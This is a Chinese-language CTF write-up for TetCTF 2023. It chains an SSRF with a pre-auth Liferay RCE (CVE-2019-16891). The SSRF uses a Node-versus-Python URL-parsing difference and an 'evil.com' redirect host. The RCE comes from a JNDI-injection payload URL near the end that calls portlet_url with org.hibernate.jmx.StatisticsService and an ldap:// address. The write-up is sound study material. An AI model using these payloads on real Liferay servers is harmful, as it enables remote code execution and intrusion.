TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)
这周末打了这个比赛挺不错的一个,但是主要还是写一下这题,其他题虽然也有难度但是并不值得我记录
正文
首先这题被拆分为了两个部分,觉得两部分都挺有意思的,就单独讲讲
part1主要是利用node与python的requests的差异性绕过host限制
part2主要是仅仅通过一个GET触发Liferay的RCE
关于题目备份也是放在了我的Git里:https://github.com/Y4tacker/CTFBackup/tree/main/2023/TetCTF
Part1
首先一眼看到这个路由
1 | app.post('/api/getImage', isAdmin, validate, async (req, res, next) => { |
这里面有个鉴权操作,要求密码是Th!sIsS3xreT0
但是长度不能大于12,很常规基础的考点了,通过数组就行?password[]=Th!sIsS3xreT0
1 | const isAdmin = (req, res, next) => { |
接着来看看剩下的代码
1 | app.post('/api/getImage', isAdmin, validate, async (req, res, next) => { |
这里IsValidProtocol要求只能是http/https
,isValidHost要求host只能是i.ibb.co
这个图床网站(使用urlParse解析)
之后如果校验成功则会调用python去下载
1 | f __name__ == '__main__': |
正常情况来说如果我们使用:http://evil.com@i.ibb.co/1.png
node和python经过parse后访问的其实也都是http://i.ibb.co/1.png
那有没有什么办法让node和py行为相异,python的requests库是基于urllib实现的,这里我们看到去区分scheme, authority, path, query, fragment等部分是靠正则实现的
对应的正则
1 | URI_RE = re.compile( |
因此如果最终我们使用的url是
http://evil.com1232\@i.ibb.co/1.png
node部分则会正确解析出host为i.ibb.co
python部分由于遇到了\
字符其实是把后面整体当成了path,最终访问的url其实是
http://evil.com1232/\@i.ibb.co/1.png
如图测试
在这个基础上我们可以配合flask简单写个解析这个畸形路径的请求并重定向到指定位置即可完成ssrf
1 | from flask import Flask,request |
Part2
第二部分是这个Liferay的一个前台RCE,看DockerFile可以看到这个版本
网上较多的是关于cve-2020-7961
的内容,也就是靠/api/jsonws/xxxx
去实现的RCE
然而这里有两个限制
第一个,从part1部分我们能得到一点,我们的SSRF只能触发一个GET请求
第二个,这里对路由做了些限制,也就是说我们的api相关路由都不能访问了咋办呢?
关于这个我在网上搜索发现出题人曾发了一个这个文章
https://vsrc.vng.com.vn/blog/liferay-revisited-a-tale-of-20k/
在文章最后提到了这点验证了我们的猜想,同时也知道了大概也是和json反序列化有关
之后的话又看到一篇文章
https://dappsec.substack.com/p/an-advisory-for-cve-2019-16891-from
这里像我们展示了一个新的路由
从struts-config.xml当中可以看到对应的全类名
1 | <action path="/portal/portlet_url" type="com.liferay.portal.action.PortletURLAction" /> |
这个类在/liferay-portal-6.1.2-ce-ga3/tomcat-7.0.40/webapps/ROOT/WEB-INF/lib/portal-impl.jar!/com/liferay/portal/action/PortletURLAction.class
下
从这里也可以看出是GET传参数也可以
再往下看,可以得知这里是可以触发liferay的json反序列化
这里我们挑重点来讲,最终反序列化会触发org.jabsorb.JSONSerializer#unmarshall
这里他会调用getSerializer
去选择一个能满足反序列化该javaCLass的类
首先遍历serializableMap看有没有该javaClass直接对应映射的处理,这个serializableMap当中有很多,但大多都是一些基础类型的类的处理
没有的话它会继续遍历serializerList看看有没有能处理该类的,也就是其canSerialize返回true
我们只需要关注两个即可,其他的也是一些基础类型之类的不需要过多关注
一个是com.liferay.portal.json.jabsorb.serializer.LiferaySerializer
1 | public boolean canSerialize(Class clazz, Class jsonClass) { |
其对应的unmarshall方法当中,我们可以很清楚的看到只是通过一些反射去对class对应字段赋值
另一个是org.jabsorb.serializer.impl.BeanSerializer
1 | public boolean canSerialize(Class clazz, Class jsonClazz) { |
其对应的unmarshall方法当中,则是调用对应的setter方法,这符合我们的要求
这两个类处理最大的区别就是javaClasss是否继承了Serializable接口,因此我们找恶意类条件就是不能继承Serializable接口,同时set方法有恶意操作,这种时候就去看fastjson和jackson的黑名单就可以了
比如jackson里面黑名单里的一个类刚好在我们liferay当中
同时其set方法有一个能直接触发jndi的
最终我们把这串代码放进之前的恶意flask触发重定向后,通过jndi攻击内网服务
1 | http://admin-portal:80/c/portal/portlet_url?parameterMap={"javaClass":"org.hibernate.jmx.StatisticsService","sessionFactoryJNDIName":"ldap://ip"} |